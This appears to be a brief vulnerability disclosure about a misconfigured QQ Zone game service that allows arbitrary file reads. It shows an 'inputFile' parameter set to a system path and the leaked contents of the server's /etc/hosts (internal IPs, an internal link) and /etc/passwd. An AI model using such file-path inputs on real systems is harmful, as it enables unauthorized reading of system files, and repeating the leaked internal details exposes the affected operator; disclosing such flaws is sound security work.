QQ空间某游戏配置错误导致任意文件读取

inputFile: /etc/hosts
 
 127.0.0.1   TENCENT64 TENCENT64.site localhost localhost.localdomain localhost4 localhost4.localdomain4
 ::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
 #
 # You can set dns to resolve following domain name
 # for DNS, see http://km.oa.com/group/gslb/article_view/60750
 # tlinux team 
 #
 172.25.10.69 tlinux-mirrorlist.tencent-cloud.com
 172.25.10.70 tlinux-mirrorlist.tencent-cloud.com

root:x:0:0:root:/root:/bin/bash
 bin:x:1:1:bin:/bin:/sbin/nologin
 daemon:x:2:2:daemon:/sbin:/sbin/nologin
 adm:x:3:4:adm:/var/adm:/sbin/nologin
 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
 sync:x:5:0:sync:/sbin:/bin/sync
 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
 halt:x:7:0:halt:/sbin:/sbin/halt
 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
 operator:x:11:0:operator:/root:/sbin/nologin
 games:x:12:100:games:/usr/games:/sbin/nologin
 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
 nobody:x:99:99:Nobody:/:/sbin/nologin
 dbus:x:81:81:System message bus:/:/sbin/nologin
 nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
 rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
 vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
 ntp:x:38:38::/etc/ntp:/sbin/nologin
 rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
 nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
 haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
 sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
 nslcd:x:65:55:LDAP Client User:/:/sbin/nologin
 saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
 arpwatch:x:77:77::/var/lib/arpwatch:/sbin/nologin
 tcpdump:x:72:72::/:/sbin/nologin
 www:x:50001:500::/data/www:/bin/bash